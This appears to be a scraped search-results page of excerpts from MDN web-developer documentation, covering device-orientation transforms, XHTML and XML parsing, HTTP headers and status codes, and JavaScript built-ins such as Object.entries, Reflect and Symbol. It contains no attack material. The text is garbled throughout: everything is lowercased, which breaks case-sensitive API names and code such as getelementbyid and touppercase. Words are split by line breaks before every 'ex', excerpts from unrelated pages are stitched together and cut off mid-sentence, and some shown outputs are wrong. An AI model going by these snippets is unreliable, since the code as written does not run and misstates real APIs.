...evice flat on the back, top of the screen pointing 12:00), so the rotatez value should be alpha - 180 the y axis of the screen coordinate system is inverted, such that translatey(100px) moves an element 100px down, so the rotatey value should be -gamma finally, the order of the three different rotations is very important to accurately convert an orientation to a 3d rotation: rotatez, then rotat
ex and then rotatey.
... here's a simple code snippet to sum it up: var elem = document.getelementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // remember to use vendor-prefixed transform property elem.style.transform = "rotatez(" + ( e.alpha - 180 ) + "deg) " + "rotat
ex(" + e.beta + "deg) " + "rotatey(" + ( -e.gamma ) + "deg)"; }); orientation compensation compensating the orientation of the device can be useful to create parallax effects or augmented reality.
... this is achieved by inverting the previous order of rotations and negating the alpha value: var elem = document.getelementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // again, use vendor-prefixed transform property elem.style.transform = "rotatey(" + ( -e.gamma ) + "deg)" + "rotat
ex(" + e.beta + "deg) " + "rotatez(" + - ( e.alpha - 180 ) + "deg) "; }); rotate3d to orientation should you ever need to convert a rotate3d axis-angle to orientation euler angles, you can use the following algorithm: // convert a rotate3d axis-angle to deviceorientation angles function orient( aa ) { var x = aa.x, y = aa.y, z = aa.z, a = aa.a, c = math.cos( aa.a ), s = math.sin( aa.a ), t = 1 - c, // axis-angle to rotation mat...
Introduction to HTML5 - Developer guides
however, gecko, and by
extension, firefox, has very good support for html5, and work continues toward supporting more of its features.
...in previous versions of html, it was done using a very compl
ex <meta> element.
...now, faced with errors in the mark-up, all compliant browsers must behave
exactly in the same way.
...keep in mind that it's still highly recommended that one writes valid mark-up, as such code is easier to read and maintain, and it greatly decreases the prominence of incompatibilities that
exists in various older browsers.
XHTML - Developer guides
the following
example shows an html document and corresponding "xhtml" document, and the accompanying http content-type headers they should be served with.
... html document content-type: t
ext/html <!doctype html> <html lang=en> <head> <meta charset=utf-8> <title>html</title> </head> <body> <p>i am a html document</p> </body> </html> xhtml document content-type: application/xhtml+xml <?xml version="1.0" encoding="utf-8"?> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>xhtml</title> </head> <body> <p>i am a xhtml document</p> </body> </html> in practice, very few "xhtml" documents are served over the web with a content-type: application/xhtml+xml header.
... instead, even though the documents are written to conform to xml syntax rules, they are served with a content-type: t
ext/html header — so browsers parse those documents using html parsers rather than xml parsers, which can cause a variety of sometimes-very-surprising problems.
... the problems are described in more details in the following articles: beware of xhtml by david hammond sending xhtml as t
ext/html considered harmful by ian hickson xhtml's dirty little secret by mark pilgrim xhtml - what's the point?
Parsing and serializing XML - Developer guides
at times, you may need to parse xml content and convert it into a dom tree, or, conversely, serialize an
existing dom tree into xml.
... parsing strings into dom trees this
example converts an xml fragment in a string into a dom tree using a domparser: var smystring = '<a id="a"><b id="b">hey!</b></a>'; var oparser = new domparser(); var odom = oparser.parsefromstring(smystring, "application/xml"); // print the name of the root element or error message console.log(odom.documentelement.nodename == "parsererror" ?
... "error while parsing" : odom.documentelement.nodename); parsing url-addressable resources into dom trees using xmlhttprequest here is sample code that reads and parses a url-addressable xml file into a dom tree: var xhr = new xmlhttprequest(); xhr.onload = function() { dump(xhr.respons
exml.documentelement.nodename); } xhr.onerror = function() { dump("error while getting xml."); } xhr.open("get", "
example.xml"); xhr.responsetype = "document"; xhr.send(); the value returned in the xhr object's respons
exml field is a document constructed by parsing the xml.
... to serialize the dom tree doc into xml t
ext, call xmlserializer.serializetostring(): var oserializer = new xmlserializer(); var sxml = oserializer.serializetostring(doc); serializing html documents if the dom you have is an html document, you can serialize using serializetostring(), but there is a simpler option: just use the element.innerhtml property (if you want just the descendants of the specified node) or the element.outerhtml pr...
Compression in HTTP - HTTP
if t
ext can typically have as much as 60% redundancy, this rate can be much higher for some other media like audio and video.
... unlike t
ext, these other media types use lot of space to store their data and the need to optimize storage and regain space was apparent very early.
...in fact, this is often counter productive as the cost of the overhead (algorithms usually need a dictionary that add to the initial size) can be higher than the
extra gain in compression resulting in a larger file.
...these algorithm are optimized for t
ext.
Accept-Charset - HTTP
but for a better user
experience, this is rarely done and the accept-charset header is ignored.
...to guarantee better privacy through less configuration-based entropy, all browsers omit the accept-charset header: internet
explorer 8+, safari 5+, opera 11+, firefox 10+ and chrome 27+ no longer send it.
... ;q=<weight> any encoding is placed in an order of preference,
expressed using a relative quality value called the weight.
...
examples accept-charset: iso-8859-1 accept-charset: utf-8, iso-8859-1;q=0.5 accept-charset: utf-8, iso-8859-1;q=0.5, *;q=0.1 specifications specification title rfc 7231, section 5.3.3: accept-charset hypert
ext transfer protocol (http/1.1): semantics and cont
ext ...
Accept-Encoding - HTTP
as long as the identity value, meaning no encoding, is not
explicitly forbidden, by an identity;q=0 or a *;q=0 without another
explicitly set value for identity, the server must never send back a 406 not acceptable error.
...it doesn't mean that any algorithm is supported; merely that no preference is
expressed.
... ;q= (qvalues weighting) any value is placed in an order of preference
expressed using a relative quality value called weight.
...
examples accept-encoding: gzip accept-encoding: gzip, compress, br accept-encoding: br;q=1.0, gzip;q=0.8, *;q=0.1 specifications specification title rfc 7231, section 5.3.4: accept-encoding hypert
ext transfer protocol (http/1.1): semantics and cont
ext ...
Access-Control-Allow-Credentials - HTTP
the access-control-allow-credentials response header tells browsers whether to
expose the response to frontend javascript code when the request's credentials mode (request.credentials) is include.
... when a request's credentials mode (request.credentials) is include, browsers will only
expose the response to frontend javascript code if the access-control-allow-credentials value is true.
...for a cors request with credentials, in order for browsers to
expose the response to frontend javascript code, both the server (using the access-control-allow-credentials header) and the client (by setting the credentials mode for the xhr, fetch, or ajax request) must indicate that they’re opting in to including credentials.
...
examples allow credentials: access-control-allow-credentials: true using xhr with credentials: var xhr = new xmlhttprequest(); xhr.open('get', 'http://
example.com/', true); xhr.withcredentials = true; xhr.send(null); using fetch with credentials: fetch(url, { credentials: 'include' }) specifications specification status comment fetchthe definition of 'access-control-allow-credentials' in that specification.
Access-Control-Allow-Headers - HTTP
note that the authorization header can't be wildcarded and always needs to be listed
explicitly.
...
examples a custom header here's an
example of what an access-control-allow-headers header might look like.
... access-control-allow-headers: x-custom-header multiple headers this
example shows access-control-allow-headers when it specifies support for multiple headers.
... access-control-allow-headers: accept
example preflight request let's look at an
example of a preflight request involving access-control-allow-headers.
Content-Encoding - HTTP
like the compress program, which has disappeared from most unix distributions, this content-encoding is not used by many browsers today, partly because of a patent issue (it
expired in 2003).
...this token,
except if
explicitly specified, is always deemed acceptable.
...
examples compressing with gzip on the client side, you can advertise a list of compression schemes that will be sent along in an http request.
... specifications specification title rfc 7932: brotli compressed data format brotli compressed data format rfc 7231, section 3.1.2.2: content-encoding hypert
ext transfer protocol (http/1.1): semantics and content rfc 2616, section 14.11: content-encoding content-encoding ...
ETag - HTTP
for
example, mdn uses a h
exadecimal hash of the wiki article content.
...
examples etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" etag: w/"0815" avoiding mid-air collisions with the help of the etag and the if-match headers, you can detect mid-air edit collisions.
... for
example, when editing mdn, the current wiki content is hashed and put into an etag in the response: etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" when saving changes to a wiki page (posting data), the post request will contain the if-match header containing the etag values to check freshness against.
... specifications specification title rfc 7232, section 2.3: etag hypert
ext transfer protocol (http/1.1): conditional requests ...
Retry-After - HTTP
there are three main cases this header is used: when sent with a 503 (service unavailable) response, this indicates how long the service is
expected to be unavailable.
...
examples dealing with scheduled downtime support for the retry-after header on both clients and servers is still inconsistent.
...it is useful to send it along with a 503 (service unavailable) response, so that search engines will keep ind
exing your site when the downtime is over.
... retry-after: wed, 21 oct 2015 07:28:00 gmt retry-after: 120 specifications specification title rfc 7231, section 7.1.3: retry-after hypert
ext transfer protocol (http/1.1): semantics and content ...
Server - HTTP
avoid overly-detailed server values, as they can reveal information that might make it (slightly) easier for attackers to
exploit known security holes.
... how much detail to include is an interesting balance to strike;
exposing the os version is probably a bad idea, as mentioned in the earlier warning about overly-detailed values.
... however,
exposed apache versions helped browsers work around a bug those versions had with content-encoding combined with range.
...
examples server: apache/2.4.1 (unix) specifications specification title rfc 7231, section 7.4.2: server hypert
ext transfer protocol (http/1.1): semantics and content ...
Vary - HTTP
the vary header should be set on a 304 not modified response
exactly like it would have been set on an equivalent 200 ok response.
...
examples dynamic serving when using the vary: user-agent header, caching servers should consider the user agent when deciding whether to serve the page from cache.
... for
example, if you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users.
... vary: user-agent specifications specification title rfc 7231, section 7.1.4: vary hypert
ext transfer protocol (http/1.1): semantics and content ...
X-Frame-Options - HTTP
examples note: setting x-frame-options inside the <meta> element is useless!
... x-frame-options works only by setting through the http header, as in the
examples below.
... configuring haproxy to configure haproxy to send the x-frame-options header, add this to your front-end, listen, or backend configuration: rspadd x-frame-options:\ sameorigin alternatively, in newer versions: http-response set-header x-frame-options sameorigin configuring
express to configure
express to send the x-frame-options header, you can use helmet which uses frameguard to set the header.
... add this to your server configuration: const helmet = require('helmet'); const app =
express(); app.use(helmet.frameguard({ action: 'sameorigin' })); alternatively, you can use frameguard directly: const frameguard = require('frameguard') app.use(frameguard({ action: 'sameorigin' })) specifications specification title rfc 7034 http header field x-frame-options ...
POST - HTTP
t
ext/plain when the post request is sent via a method other than an html form — like via an xmlhttprequest — the body can take any type.
... as described in the http 1.1 specification, post is designed to allow a uniform method to cover the following functions: annotation of
existing resources posting a message to a bulletin board, newsgroup, mailing list, or similar group of articles; adding a new user through a signup modal; providing a block of data, such as the result of submitting a form, to a data-handling process;
extending a database through an append operation.
... request has body yes successful response has body yes safe no idempotent no cacheable only if freshness information is included allowed in html forms yes syntax post /test
example a simple form using the default application/x-www-form-urlencoded content type: post /test http/1.1 host: foo.
example content-type: application/x-www-form-urlencoded content-length: 27 field1=value1&field2=value2 a form using the multipart/form-data content type: post /test http/1.1 host: foo.
example content-type: multipart/form-data;boundary="boundary" --boundary content-disposition: form-data; name="field1" value1 --boundary content-disposition: form-data; name="field2"; filename="
example.txt" value2 --boundary-- specif...
...ications specification title rfc 7231, section 4.3.3: post hypert
ext transfer protocol (http/1.1): semantics and content rfc 2046, section 5.1.1: common syntax multipurpose internet mail
extensions (mime) part two: media types ...
Network Error Logging - HTTP
this
experimental header allows web sites and applications to opt-in to receive reports about failed (and, if desired, successful) network fetches from supporting browsers.
... the reporting group referenced above is defined in the usual manner within the report-to header, for
example: report-to: { "group": "nel", "max_age": 31556952, "endpoints": [ { "url": "https://
example.com/csp-reports" } ] } error reports in these
examples, the entire reporting api payload is shown.
... http 400 (bad request) response { "age": 20, "type": "network-error", "url": "https://
example.com/previous-page", "body": { "elapsed_time": 338, "method": "post", "phase": "application", "protocol": "http/1.1", "referrer": "https://
example.com/previous-page", "sampling_fraction": 1, "server_ip": "137.205.28.66", "status_code": 400, "type": "http.error", "url": "https://
example.com/bad-request" } } dns name not resolved note that the phase is set to dns in this report and no server_ip is available to include.
... { "age": 20, "type": "network-error", "url": "https://
example.com/previous-page", "body": { "elapsed_time": 18, "method": "post", "phase": "dns", "protocol": "http/1.1", "referrer": "https://
example.com/previous-page", "sampling_fraction": 1, "server_ip": "", "status_code": 0, "type": "dns.name_not_resolved", "url": "https://
example-host.com/" } } the type of the network error may be one of the following pre-defined values from the specification, but browsers can add and send their own error types: dns.unreachable the user's dns server is unreachable dns.name_not_resolved the user's dns server responded but was unable to resolve an ip address for the requested uri.
404 Not Found - HTTP
status 404 not found custom error pages many web sites customize the look of a 404 page to be more helpful to the user and provide guidance on what to do n
ext.
... apache servers can be configured using an .htaccess file and a code snippet like the following
example.
... errordocument 404 /notfound.html for an
example of a custom 404 page, see mdn's 404 page.
... specifications specification title rfc 7231, section 6.5.4: 404 not found hypert
ext transfer protocol (http/1.1): semantics and content ...
412 Precondition Failed - HTTP
the hypert
ext transfer protocol (http) 412 precondition failed client error response code indicates that access to the target resource has been denied.
... status 412 precondition failed
examples etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" etag: w/"0815" avoiding mid-air collisions with the help of the etag and the if-match headers, you can detect mid-air edit collisions.
... for
example, when editing mdn, the current wiki content is hashed and put into an etag in the response: etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" when saving changes to a wiki page (posting data), the post request will contain the if-match header containing the etag values to check freshness against.
... specifications specification title rfc 7232, section 4.2: 412 precondition failed hypert
ext transfer protocol (http/1.1): conditional requests ...
JavaScript technologies overview - JavaScript
however, the umbrella term "javascript" as understood in a web browser cont
ext contains several very different elements.
... this core language is also used in non-browser environments, for
example in node.js.
... the html specification also defines restrictions on documents; for
example, it requires all children of a <ul> element, which represents an unordered list, to be <li> elements, as those represent list items.
... canvas 2d cont
ext is a drawing api for <canvas>.
static - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...}
examples using static in classes the following
example demonstrates several things: how a static method is implemented on a class.
... class triple { static triple(n = 1) { return n * 3; } } class biggertriple
extends triple { static triple(n) { return super.triple(n) * super.triple(n); } } console.log(triple.triple()); // 3 console.log(triple.triple(6)); // 18 var tp = new triple(); console.log(biggertriple.triple(3)); // 81 (not affected by parent's instantiation) console.log(tp.triple()); // 'tp.triple is not a function'.
The legacy Iterator protocol - JavaScript
an object is an legacy iterator when it implements a n
ext() method with the following semantics, and throws stopiteration at the end of iteration.
... property value n
ext a zero arguments function that returns an value.
... difference between legacy and es2015 iterator protocols the value was returned directly as a return value of calls to n
ext, instead of the value property of a placeholder object iteration termination was
expressed by throwing a stopiteration object.
... simple
example with the old protocol function makeiterator(array){ var n
extind
ex = 0; return { n
ext: function(){ if(n
extind
ex < array.length){ return array[n
extind
ex++]; else throw new stopiteration(); } } } var it = makeiterator(['yo', 'ya']); console.log(it.n
ext()); // 'yo' console.log(it.n
ext()); // 'ya' try{ console.log(it.n
ext()); } catch(e){ if(e instanceof stopiteration){ // iteration over } } ...
RangeError: radix must be an integer - JavaScript
the javascript
exception "radix must be an integer at least 2 and no greater than 36" occurs when the optional radix parameter of the number.prototype.tostring() or the bigint.prototype.tostring() method was specified and is not between 2 and 36.
...for
example, the decimal (base 10) number 169 is represented in h
exadecimal (base 16) as a9.
... the most common radixes: 2 for binary numbers, 8 for octal numbers, 10 for decimal numbers, 16 for h
exadecimal numbers.
...
examples invalid cases (42).tostring(0); (42).tostring(1); (42).tostring(37); (42).tostring(150); // you cannot use a string like this for formatting: (12071989).tostring('mm-dd-yyyy'); valid cases (42).tostring(2); // "101010" (binary) (13).tostring(8); // "15" (octal) (0x42).tostring(10); // "66" (decimal) (100000).tostring(16) // "186a0" (h
exadecimal) ...
Warning: String.x is deprecated; use String.prototype.x instead - JavaScript
ning: string.concat is deprecated; use string.prototype.concat instead warning: string.contains is deprecated; use string.prototype.contains instead warning: string.endswith is deprecated; use string.prototype.endswith instead warning: string.includes is deprecated; use string.prototype.includes instead warning: string.ind
exof is deprecated; use string.prototype.ind
exof instead warning: string.lastind
exof is deprecated; use string.prototype.lastind
exof instead warning: string.localecompare is deprecated; use string.prototype.localecompare instead warning: string.match is deprecated; use string.prototype.match instead warning: string.normalize is ...
...javascript
execution won't be halted.
...
examples deprecated syntax var num = 15; string.replace(num, /5/, '2'); standard syntax var num = 15; string(num).replace(/5/, '2'); shim the following is a shim to provide support to non-supporting browsers: /*globals define*/ // assumes all supplied string instance methods already present // (one may use shims for these if not available) (function() { 'use strict'; var i, // we could also build the array of methods with the following, but the // getownpropertynames() method is non-shimable: // object.getownpropertynames(st...
...ring).filter(function(methodname) { // return typeof string[methodname] === 'function'; // }); methods = [ 'contains', 'substring', 'tolowercase', 'touppercase', 'charat', 'charcodeat', 'ind
exof', 'lastind
exof', 'startswith', 'endswith', 'trim', 'trimleft', 'trimright', 'tolocalelowercase', 'normalize', 'tolocaleuppercase', 'localecompare', 'match', 'search', 'slice', 'replace', 'split', 'substr', 'concat', 'localecompare' ], methodcount = methods.length, assignstringgeneric = function(methodname) { var method = string.prototype[methodname]; string[methodname] = function(arg1) { return method.apply(arg1, array.prototype.slice.call(arguments, 1)); }; }; for (i = 0; i < methodcount; i++) { assignstring...
Math.log1p() - JavaScript
the math.log1p() function returns the natural logarithm (base e) of 1 + a number, that is ∀x>-1,math.log1p(x)=ln(1+x)\forall x > -1, \mathtt{\operatorname{math.log1p}(x)} = \ln(1 + x) the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... 1 + 1e-15 = 1.000000000000001, but 1 + 1e-16 = 1.000000000000000 and therefore
exactly 1.0 in that arithmetic, because digits past 15 are rounded off.
...x : x * (math.log(x + 1) / nearx); };
examples using math.log1p() math.log1p(1); // 0.6931471805599453 math.log1p(0); // 0 math.log1p(-1); // -infinity math.log1p(-2); // nan specifications specification ecmascript (ecma-262)the definition of 'math.log1p' in that specification.
NaN - JavaScript
property attributes of nan writable no enumerable no configurable no the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
..."foo"/3)
examples testing against nan nan compares unequal (via ==, !=, ===, and !==) to any other value -- including to another nan value.
... let arr = [2, 4, nan, 12]; arr.ind
exof(nan); // -1 (false) arr.includes(nan); // true arr.findind
ex(n => number.isnan(n)); // 2 specifications specification ecmascript (ecma-262)the definition of 'nan' in that specification.
Number.parseFloat() - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... polyfill if (number.parsefloat === undefined) { number.parsefloat = parsefloat; }
examples number.parsefloat vs parsefloat this method has the same functionality as the global parsefloat() function: number.parsefloat === parsefloat; // true this method is also part of ecmascript 2015.
... (its purpose is modularization of globals.) see parsefloat() for more detail and
examples.
Number.parseInt() - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... polyfill if (number.parseint === undefined) { number.parseint = window.parseint }
examples number.parseint vs parseint this method has the same functionality as the global parseint() function: number.parseint === parseint // true and is part of ecmascript 2015 (its purpose is modularization of globals).
... please see parseint() for more detail and
examples.
Number.prototype.valueOf() - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... description this method is usually called internally by javascript and not
explicitly in web code.
...
examples using valueof let numobj = new number(10) console.log(typeof numobj) // object let num = numobj.valueof() console.log(num) // 10 console.log(typeof num) // number specifications specification ecmascript (ecma-262)the definition of 'number.prototype.valueof' in that specification.
Object.entries() - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...
examples const obj = { foo: 'bar', baz: 42 }; console.log(object.entries(obj)); // [ ['foo', 'bar'], ['baz', 42] ] // array like object const obj = { 0: 'a', 1: 'b', 2: 'c' }; console.log(object.entries(obj)); // [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ] // array like object with random key ordering const anobj = { 100: 'a', 2: 'b', 7: 'c' }; console.log(object.entries(anobj)); // [ ['2', 'b'], ['7'...
...ject.entries('foo')); // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ] // returns an empty array for any primitive type, since primitives have no own properties console.log(object.entries(100)); // [ ] // iterate through key-value gracefully const obj = { a: 5, b: 7, c: 9 }; for (const [key, value] of object.entries(obj)) { console.log(`${key} ${value}`); // "a 5", "b 7", "c 9" } // or, using array
extras object.entries(obj).foreach(([key, value]) => { console.log(`${key} ${value}`); // "a 5", "b 7", "c 9" }); converting an object to a map the new map() constructor accepts an iterable of entries.
Object.fromEntries() - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...the iterable argument is
expected to be an object that implements an @@iterator method, that returns an iterator object, that produces a two element array-like object, whose first element is a value that will be used as a property key, and whose second element is the value to associate with that property key.
...
examples converting a map to an object with object.fromentries, you can convert from map to object: const map = new map([ ['foo', 'bar'], ['baz', 42] ]); const obj = object.fromentries(map); console.log(obj); // { foo: "bar", baz: 42 } converting an array to an object with object.fromentries, you can convert from array to object: const arr = [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ]; const obj = object.fromentries(arr); console.log(obj); // { 0: "a", 1: "b", 2: "c" } object transformations with object.fromentries, its reverse method object.entries(), and array manipulation methods, you are able to transform objects like this: const object1 = { a: 1, b: 2, c: 3 }; const object2 = object.fromentries( object.entries(ob...
Object.getOwnPropertyNames() - JavaScript
the object.getownpropertynames() method returns an array of all properties (including non-enumerable properties
except for those which use symbol) found directly in a given object.
...the ordering of the enumerable properties in the array is consistent with the ordering
exposed by a for...in loop (or by object.keys()) over the properties of the object.
... object.getownpropertynames('foo'); // typeerror: "foo" is not an object (es5 code) object.getownpropertynames('foo'); // ["0", "1", "2", "length"] (es2015 code)
examples using object.getownpropertynames() var arr = ['a', 'b', 'c']; console.log(object.getownpropertynames(arr).sort()); // .sort() is an array method.
... var target = myobject; var enum_and_nonenum = object.getownpropertynames(target); var enum_only = object.keys(target); var nonenum_only = enum_and_nonenum.filter(function(key) { var ind
exinenum = enum_only.ind
exof(key); if (ind
exinenum == -1) { // not found in enum_only keys, // meaning that the key is non-enumerable, // so return true so we keep this in the filter return true; } else { return false; } }); console.log(nonenum_only); specifications specification ecmascript (ecma-262)the definition of 'object.getownpropertynames' i...
Promise.race() - JavaScript
if you'd like to contribute to the interactive demo project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...
examples asynchronicity of promise.race this following
example demonstrates the asynchronicity of promise.race: // we are passing as argument an array of promises that are already resolved, // to trigger promise.race as soon as possible var resolvedpromisesarray = [promise.resolve(33), promise.resolve(44)]; var p = promise.race(resolvedpromisesarray); // immediately logging the value of p consol...
...e.log(p); // using settimeout we can
execute code after the stack is empty settimeout(function(){ console.log('the stack is now empty'); console.log(p); }); // logs, in order: // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: 33 } an empty iterable causes the returned promise to be forever pending: var foreverpendingpromise = promise.race([]); console.log(foreverpendingpromise); settimeout(function(){ console.log('the stack is now empty'); console.log(foreverpendingpromise); }); // logs, in order: // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "pending" } if the iterable contains one or more non-promise value and/or an already settled promise, then promise.race will resolve to the ...
... console.log(p); console.log(p2); settimeout(function(){ console.log('the stack is now empty'); console.log(p); console.log(p2); }); // logs, in order: // promise { <state>: "pending" } // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: 100 } // promise { <state>: "fulfilled", <value>: "non-promise value" } using promise.race –
examples with settimeout var p1 = new promise(function(resolve, reject) { settimeout(() => resolve('one'), 500); }); var p2 = new promise(function(resolve, reject) { settimeout(() => resolve('two'), 100); }); promise.race([p1, p2]) .then(function(value) { console.log(value); // "two" // both fulfill, but p2 is faster }); var p3 = new promise(function(resolve, reject) { settimeout(...
handler.deleteProperty() - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... interceptions this trap can intercept these operations: property deletion: delete proxy[foo] and delete proxy.foo reflect.deleteproperty() invariants if the following invariants are violated, the proxy will throw a typeerror: a property cannot be deleted, if it
exists as a non-configurable own property of the target object.
...
examples trapping the delete operator the following code traps the delete operator.
handler.ownKeys() - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... if the target object is not
extensible, then the result list must contain all the keys of the own properties of the target object and no other values.
...
examples trapping of getownpropertynames the following code traps object.getownpropertynames().
ReferenceError() constructor - JavaScript
the referenceerror object represents an error when a non-
existent variable is referenced.
...the name of the file containing the code that caused the
exception.
...the line number of the code that caused the
exception.
...
examples catching a referenceerror try { let a = undefinedvariable } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "undefinedvariable is not defined" console.log(e.name) // "referenceerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 6 console.log(e.stack) // "@scratchpad/2:2:7\n" } creating a referenceerror try { throw new referenceerror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "hello" console.log(e.name) // "referenceerror" console.
Reflect.apply() - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...
exceptions a typeerror, if the target is not callable.
...
examples using reflect.apply() reflect.apply(math.floor, undefined, [1.75]); // 1; reflect.apply(string.fromcharcode, undefined, [104, 101, 108, 108, 111]) // "hello" reflect.apply(reg
exp.prototype.
exec, /ab/, ['confabulation']).ind
ex // 4 reflect.apply(''.charat, 'ponies', [3]) // "i" specifications specification ecmascript (ecma-262)the definition of 'reflect.apply' in that specification.
Reflect.defineProperty() - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...
exceptions a typeerror, if target is not an object.
...
examples using reflect.defineproperty() let obj = {} reflect.defineproperty(obj, 'x', {value: 7}) // true obj.x // 7 checking if property definition has been successful with object.defineproperty, which returns an object if successful, or throws a typeerror otherwise, you would use a try...catch block to catch any error that occurred while defining a pro...
Reflect.deleteProperty() - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...
exceptions a typeerror, if target is not an object.
...
examples using reflect.deleteproperty() let obj = { x: 1, y: 2 } reflect.deleteproperty(obj, 'x') // true obj // { y: 2 } let arr = [1, 2, 3, 4, 5] reflect.deleteproperty(arr, '3') // true arr // [1, 2, 3, undefined, 5] // returns true if no such property
exists reflect.deleteproperty({}, 'foo') // true // returns false if a property is unconfigurable reflect.deleteproperty(object.freeze({foo: 1}), 'foo') // false specifications specification ecmascript (ecma-262)the ...
String.prototype.toUpperCase() - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...
exceptions typeerror when called on null or undefined, for
example, string.prototype.touppercase.call(undefined).
...
examples basic usage console.log('alphabet'.touppercase()); // 'alphabet' conversion of non-string this values to strings this method will convert any non-string value to a string, when you set its this to a value that is not a string: const a = string.prototype.touppercase.call({ tostring: function tostring() { return 'abcdef'; } }); const b = string.prototype.touppercase.call(true); // prints out 'abcdef true'.
String.prototype.trim() - JavaScript
whitespace in this cont
ext is all the whitespace characters (space, tab, no-break space, etc.) and all the line terminator characters (lf, cr, etc.).
... the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... if (!string.prototype.trim) { string.prototype.trim = function () { return this.replace(/^[\s\ufeff\xa0]+|[\s\ufeff\xa0]+$/g, ''); }; }
examples using trim() the following
example displays the lowercase string 'foo': var orig = ' foo '; console.log(orig.trim()); // 'foo' // another
example of .trim() removing whitespace from just one side.
Symbol.asyncIterator - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... property attributes of symbol.asynciterator writable no enumerable no configurable no
examples user-defined async iterables you can define your own async iterable by setting the [symbol.asynciterator] property on an object.
... const myasynciterable = { async* [symbol.asynciterator]() { yield "hello"; yield "async"; yield "iteration!"; } }; (async () => { for await (const x of myasynciterable) { console.log(x); //
expected output: // "hello" // "async" // "iteration!" } })(); when creating an api, remember that async iterables are designed to represent something iterable — like a stream of data or a list —, not to completely replace callbacks and events in most situations.
Symbol.prototype.description - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...see the
examples.
...
examples using description symbol('desc').tostring(); // "symbol(desc)" symbol('desc').description; // "desc" symbol('').description; // "" symbol().description; // undefined // well-known symbols symbol.iterator.tostring(); // "symbol(symbol.iterator)" symbol.iterator.description; // "symbol.iterator" // global symbols symbol.for('foo').tostring(); // "symbol(foo)" symbol.for('foo').description; // "foo" specifications specification ecmascript (ecma-262)the definition of 'get symbol.prototype.description' in that specification.
Symbol.isConcatSpreadable - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... property attributes of symbol.isconcatspreadable writable no enumerable no configurable no
examples arrays by default, array.prototype.concat() spreads (flattens) arrays into its result: let alpha = ['a', 'b', 'c'], let numeric = [1, 2, 3] let alphanumeric = alpha.concat(numeric) console.log(alphanumeric) // result: ['a', 'b', 'c', 1, 2, 3] when setting symbol.isconcatspreadable to false, you can disable the default behavior: let alpha = ['a', 'b', 'c'], let numeric = [1, 2, 3] ...
...in the above
example, length:2 indicates two properties has to be added.
Symbol.iterator - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... property attributes of symbol.iterator writable no enumerable no configurable no
examples user-defined iterables we can make our own iterables like this: var myiterable = {} myiterable[symbol.iterator] = function* () { yield 1; yield 2; yield 3; }; [...myiterable] // [1, 2, 3] or iterables can be defined directly inside a class or object using a computed property: class foo { *[symbol.iterator] () { yield 1; yield 2; yield 3; } } const someobj ...
...using it as such is likely to result in runtime
